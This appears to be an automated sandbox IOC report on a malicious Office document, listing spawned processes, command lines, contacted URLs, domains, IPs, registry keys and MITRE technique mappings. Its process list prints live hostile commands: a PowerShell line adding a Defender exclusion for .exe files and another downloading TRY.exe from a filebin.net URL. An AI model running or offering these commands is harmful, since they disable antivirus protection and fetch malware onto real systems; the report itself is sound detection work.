Automated Malware Analysis IOC Report for

Files

File Path

Type

Processes

Path

Cmdline

Malicious

C:\Users\user\AppData\Local\Temp\MW-58b84a1d-9a66-4aee-8a43-feb206e089b1\files\TRY.exe

"C:\Users\user\AppData\Local\Temp\MW-58b84a1d-9a66-4aee-8a43-feb206e089b1\files\TRY.exe"

C:\Windows\System32\rundll32.exe

C:\Windows\system32\rundll32.exe" C:\Windows\system32\advpack.dll,DelNodeRunDLL32 "C:\Users\user\AppData\Local\Temp\IXP000.TMP\

C:\Program Files\Microsoft Office\Office14\WINWORD.EXE

"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /Automation -Embedding

C:\Windows\System32\msiexec.exe

C:\Windows\system32\msiexec.exe /V

C:\Windows\SysWOW64\msiexec.exe

C:\Windows\syswow64\MsiExec.exe -Embedding A7515E85DB42A85129F32A151C15AD96

C:\Windows\SysWOW64\icacls.exe

"C:\Windows\system32\ICACLS.EXE" "C:\Users\user\AppData\Local\Temp\MW-58b84a1d-9a66-4aee-8a43-feb206e089b1\." /SETINTEGRITYLEVEL (CI)(OI)HIGH

C:\Windows\SysWOW64\expand.exe

"C:\Windows\system32\EXPAND.EXE" -R files.cab -F:* files

C:\Windows\System32\cmd.exe

cmd /c thai.bat

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -command "Set-MpPreference -ExclusionExtension ".exe"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

powershell -command "Invoke-WebRequest -uri https://filebin.net/rf43v6qzghbj7h7b/TRY.exe -o TRY.exe"

C:\Windows\SysWOW64\icacls.exe

"C:\Windows\system32\ICACLS.EXE" "C:\Users\user\AppData\Local\Temp\MW-58b84a1d-9a66-4aee-8a43-feb206e089b1\." /SETINTEGRITYLEVEL (CI)(OI)LOW

There are 1 hidden processes, click here to show them.

URLs

Name

Malicious

https://filebin.net/rf43v6qzghbj7h7b/TRY.msi-1261261808309546470

unknown

Details

Name:	https://filebin.net/rf43v6qzghbj7h7b/TRY.msi-1261261808309546470
TargetID:	2
From Memory:	true
Current Path:	C:\Windows\System32\msiexec.exe
Source:	~DFECA159C20646BB57.TMP.2.dr

Signature Hits	Behavior Group	Mitre Attack
Antivirus detection for URL or domain	AV Detection
Multi AV Scanner detection for domain / URL	AV Detection
URLs found in memory or binary data	Networking

https://filebin.net/rf43v6qzghbj7h7b/TRY.msi

185.47.40.36

Details

Name:	https://filebin.net/rf43v6qzghbj7h7b/TRY.msi
IP:	185.47.40.36
TargetID:	2
From Memory:	false
Current Path:	C:\Windows\System32\msiexec.exe
Source:	network

Signature Hits	Behavior Group	Mitre Attack
Antivirus detection for URL or domain	AV Detection
Multi AV Scanner detection for domain / URL	AV Detection
Potential document exploit detected (performs HTTP gets)	Software Vulnerabilities	Exploitation for Client Execution
Potential document exploit detected (unknown TCP traffic)	Software Vulnerabilities	Exploitation for Client Execution
Sigma detected: Msiexec Initiated Connection	System Summary
Uses insecure TLS / SSL version for HTTPS connection	Compliance, Networking
URLs found in memory or binary data	Networking

https://filebin.net/rf43v6qzghbj7h7b/TRY.exe

unknown

Details

Name:	https://filebin.net/rf43v6qzghbj7h7b/TRY.exe
TargetID:	-1
From Memory:	true
Source:	expand.exe, 00000007.00000003.919683562.00000000003CF000.00000004.00000800.00020000.00000000.sdmp, TRY.exe, 00000009.00000003.927628947.0000000001E20000.00000004.00000020.00020000.00000000.sdmp, TRY.exe, 00000009.00000003.927698970.0000000002020000.00000004.00000020.00020000.00000000.sdmp, TRY.exe, 00000009.00000000.925076387.000000013FB6E000.00000002.00000001.01000000.00000005.sdmp, TRY.exe, 00000009.00000002.945747952.0000000000286000.00000004.00000020.00020000.00000000.sdmp, 79bd875a22ddb24abfa2594fbd40eccf.tmp.7.dr, thai.bat.9.dr, MSI5B5A.tmp.2.dr, files.cab.4.dr

Signature Hits	Behavior Group	Mitre Attack
Antivirus detection for URL or domain	AV Detection
Multi AV Scanner detection for domain / URL	AV Detection
Document contains OLE streams with names of living off the land binaries	System Summary
Creates a process in suspended mode (likely to inject code)	HIPS / PFW / Operating System Protection Evasion	Process Injection
Sigma detected: Windows Suspicious Use Of Web Request in CommandLine	System Summary
Spawns processes	System Summary	Process Injection
URLs found in memory or binary data	Networking

https://filebin.net/rf43v6qzghbj7h7b/TRY.msi0C:

unknown

Details

Name:	https://filebin.net/rf43v6qzghbj7h7b/TRY.msi0C:
TargetID:	2
From Memory:	true
Current Path:	C:\Windows\System32\msiexec.exe
Source:	535fae.ipi.2.dr

Signature Hits	Behavior Group	Mitre Attack
Antivirus detection for URL or domain	AV Detection
Multi AV Scanner detection for domain / URL	AV Detection
URLs found in memory or binary data	Networking

https://filebin.net/rf43v6qzghbj7h7b/

unknown

Details

Name:	https://filebin.net/rf43v6qzghbj7h7b/
TargetID:	2
From Memory:	true
Current Path:	C:\Windows\System32\msiexec.exe
Source:	~DFECA159C20646BB57.TMP.2.dr

Signature Hits	Behavior Group	Mitre Attack
Antivirus detection for URL or domain	AV Detection
Multi AV Scanner detection for domain / URL	AV Detection
Document contains OLE streams with names of living off the land binaries	System Summary
Creates a process in suspended mode (likely to inject code)	HIPS / PFW / Operating System Protection Evasion	Process Injection
Sigma detected: Windows Suspicious Use Of Web Request in CommandLine	System Summary
Spawns processes	System Summary	Process Injection
URLs found in memory or binary data	Networking

Domains

Name

Malicious

filebin.net

185.47.40.36

Details

Name:	filebin.net
IP:	185.47.40.36
TargetID:	2
Current Path:	C:\Windows\System32\msiexec.exe
Active:	true

Signature Hits	Behavior Group	Mitre Attack
Multi AV Scanner detection for domain / URL	AV Detection
Document contains OLE streams with names of living off the land binaries	System Summary
Creates a process in suspended mode (likely to inject code)	HIPS / PFW / Operating System Protection Evasion	Process Injection
Potential document exploit detected (performs DNS queries)	Software Vulnerabilities	Exploitation for Client Execution
Potential document exploit detected (performs HTTP gets)	Software Vulnerabilities	Exploitation for Client Execution
Potential document exploit detected (unknown TCP traffic)	Software Vulnerabilities	Exploitation for Client Execution
Sigma detected: Msiexec Initiated Connection	System Summary
Sigma detected: Windows Suspicious Use Of Web Request in CommandLine	System Summary
Uses insecure TLS / SSL version for HTTPS connection	Compliance, Networking
Downloads files from webservers via HTTP	Networking	Application Layer Protocol Non-Application Layer Protocol Ingress Tool Transfer
Performs DNS lookups	Networking	Application Layer Protocol Non-Application Layer Protocol
Spawns processes	System Summary	Process Injection
URLs found in memory or binary data	Networking

situla.bitbit.net

87.238.33.8

Details

Name:	situla.bitbit.net
IP:	87.238.33.8
TargetID:	2
Current Path:	C:\Windows\System32\msiexec.exe
Active:	true

Signature Hits	Behavior Group	Mitre Attack
Uses insecure TLS / SSL version for HTTPS connection	Compliance, Networking
Downloads files from webservers via HTTP	Networking	Application Layer Protocol Non-Application Layer Protocol Ingress Tool Transfer

IPs

Domain

Country

Malicious

185.47.40.36

filebin.net

Norway

Details

IP:	185.47.40.36
TargetID:	2
Current Path:	C:\Windows\System32\msiexec.exe
Country:	Norway
Countrycode:	NOR
ASN number:	39029
ASN name:	REDPILL-LINPRORedpillLinproNO
Private:	false
Domain:	filebin.net

Signature Hits	Behavior Group	Mitre Attack
Potential document exploit detected (performs HTTP gets)	Software Vulnerabilities	Exploitation for Client Execution
Potential document exploit detected (unknown TCP traffic)	Software Vulnerabilities	Exploitation for Client Execution
Sigma detected: Msiexec Initiated Connection	System Summary
Uses insecure TLS / SSL version for HTTPS connection	Compliance, Networking

87.238.33.8

situla.bitbit.net

Norway

Details

IP:	87.238.33.8
TargetID:	2
Current Path:	C:\Windows\System32\msiexec.exe
Country:	Norway
Countrycode:	NOR
ASN number:	39029
ASN name:	REDPILL-LINPRORedpillLinproNO
Private:	false
Domain:	situla.bitbit.net

Signature Hits	Behavior Group	Mitre Attack
Uses insecure TLS / SSL version for HTTPS connection	Compliance, Networking

Registry

Path

Value

Malicious

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems

-d'

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word

MTTT

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems

ce'

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\StartupItems

qh'

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\00004109D30000000100000000F01FEC\Usage

VBAFiles

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Common\ReviewCycle

ReviewToken

HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Word\Resiliency\DocumentRecovery\65DD9

65DD9